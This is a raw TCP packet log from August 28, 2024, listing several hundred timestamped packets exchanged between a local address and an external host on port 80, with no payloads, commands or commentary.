Aug 28, 2024 11:51:15.082197905 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.082197905 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.082211018 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.082242966 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.083121061 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.083132029 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.083177090 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.083240986 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.083254099 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.083264112 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.083276987 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.083286047 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.083306074 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.083336115 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.083368063 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.083380938 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.083399057 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.083414078 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.083419085 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.083425999 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.083437920 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.083441973 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.083448887 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.083461046 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.083465099 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.083473921 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.083487034 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.083487988 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.083498955 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.083508968 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.083538055 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.084647894 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.084657907 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.084670067 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.084692955 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.084722042 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.085884094 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.085894108 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.085937023 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.086021900 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.086074114 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.086100101 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.086112022 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.086144924 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.086177111 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.086189032 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.086200953 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.086219072 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.086225033 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.086245060 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.086267948 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.110660076 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.110754013 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.110784054 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.110795021 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.110806942 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.110827923 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.110850096 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.110899925 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.110913038 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.110953093 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.114384890 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.114398003 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.114443064 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.114547968 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.114567041 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.114577055 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.114597082 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.114598036 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.114614964 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.114628077 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.114629030 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.114639997 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.114651918 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.114655018 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.114665031 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.114676952 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.114679098 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.114690065 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.114697933 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.114701986 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.114715099 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.114718914 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.114727020 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.114743948 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.114747047 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.114757061 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.114768982 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.114775896 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.114782095 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.114794016 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.114799976 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.114820957 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.114840984 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.146809101 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.146852016 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.146868944 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.146920919 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.146946907 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.146950006 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.146960974 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.146971941 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.146990061 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.146992922 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147002935 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147012949 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147013903 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147026062 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147034883 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147042036 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147047043 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147064924 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147072077 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147078037 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147088051 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147097111 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147099972 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147113085 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147121906 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147140980 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147161961 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147171974 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147183895 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147212982 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147217035 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147227049 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147238016 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147258043 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147279024 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147356033 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147367954 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147377968 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147396088 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147401094 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147408009 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147419930 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147419930 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147449017 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147464037 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147480011 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147490978 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147501945 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147512913 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147521019 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147525072 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147541046 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147542000 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147552967 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147567987 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147587061 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147617102 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147635937 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147649050 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147655964 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147660017 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147674084 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147686005 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147686958 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147697926 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147708893 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147712946 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147720098 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147727013 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147732973 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147742987 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147754908 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147783995 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147876024 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147886992 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147897005 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147907972 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147917032 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147918940 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147931099 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147942066 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147943020 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147954941 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147965908 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147978067 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.147990942 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.147990942 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.148015976 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.170387030 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.170397997 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.170408964 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.170454025 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.170465946 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.170478106 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.170489073 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.170567989 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.170628071 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.170675039 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.170819998 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.170840025 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.170867920 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.170881033 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.170943975 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.170955896 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.170968056 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.170989990 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.171019077 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.171052933 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.171062946 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.171073914 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.171086073 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.171097994 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.171112061 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.171116114 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.171128035 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.171133041 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.171139002 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.171149015 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.171150923 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.171169043 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.171194077 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.173125982 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.173137903 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.173149109 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.173173904 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.173203945 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.173239946 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.173249960 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.173255920 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.173266888 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.173293114 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.173311949 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.173384905 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.173397064 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.173407078 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.173419952 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.173430920 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.173455000 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.173466921 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.173479080 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.173489094 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.173500061 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.173511028 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.173516989 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.173537016 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.173551083 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.199664116 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.199702978 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.199714899 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.199810028 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.199820995 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.199830055 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.199832916 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.199845076 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.199855089 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.199887991 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.199899912 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.200021982 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.200068951 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.200083017 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.200093985 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.200112104 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.200129032 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.200133085 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.200151920 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.200158119 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.200164080 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.200175047 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.200184107 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.200189114 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.200201988 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.200203896 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.200231075 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.200242996 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.200278044 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.200289011 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.200299978 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.200311899 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.200323105 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.200326920 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.200334072 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.200359106 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.200371981 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.233649969 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.233669043 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.233680964 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.233711004 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.233733892 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.233746052 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.233747959 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.233757973 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.233776093 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.233799934 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.233814955 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.233855009 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.234174013 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.234224081 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.234397888 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.234411001 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.234452963 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.234535933 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.234546900 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.234556913 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.234586000 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.234596968 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.234603882 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.234615088 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.234626055 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.234638929 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.234639883 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.234661102 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.234687090 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.234761000 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.234806061 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.234859943 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.234869957 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.234880924 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.234894037 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.234905958 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.234934092 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.235017061 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.235028028 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.235038042 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.235050917 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.235061884 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.235063076 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.235074043 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.235080004 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.235088110 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.235105991 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.235260010 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.235271931 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.235281944 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.235286951 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.235294104 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.235306978 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.235312939 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.235320091 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.235325098 CEST	80	49710	185.215.113.100	192.168.2.6
